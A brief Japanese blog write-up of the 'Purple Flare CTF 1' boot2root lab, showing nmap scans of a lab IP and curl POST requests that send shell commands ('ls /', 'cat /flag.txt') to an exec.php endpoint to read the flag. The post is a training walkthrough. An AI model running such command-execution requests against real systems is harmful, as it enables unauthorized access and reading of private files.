0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Purple Flare CTF 1

0
Posted at

[Purple Flair CTF][HiddenService]
Boot2Root CTF

Writeup

ターゲットのIPアドレスは、変わるのかも。

  1. ポートスキャンでサービスを確認
    nmap -sS -p- 10.234.128.6
    nmap -sV 10.234.128.6
    
  2. httpサーバへアクセス
    curl 10.234.128.6:31337
    
  3. phpファイルにPOSTでコマンドを送信
    curl -X POST -d "cmd=ls /" 10.234.128.6:31337/exec.php
    curl -X POST -d "cmd=cat /flag.txt" http://10.234.128.6:31337/exec.php
    

公式のWriteupを読んだら、ブラウザでアクセスしていた。そりゃそうか。
以上です。

参考サイト

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?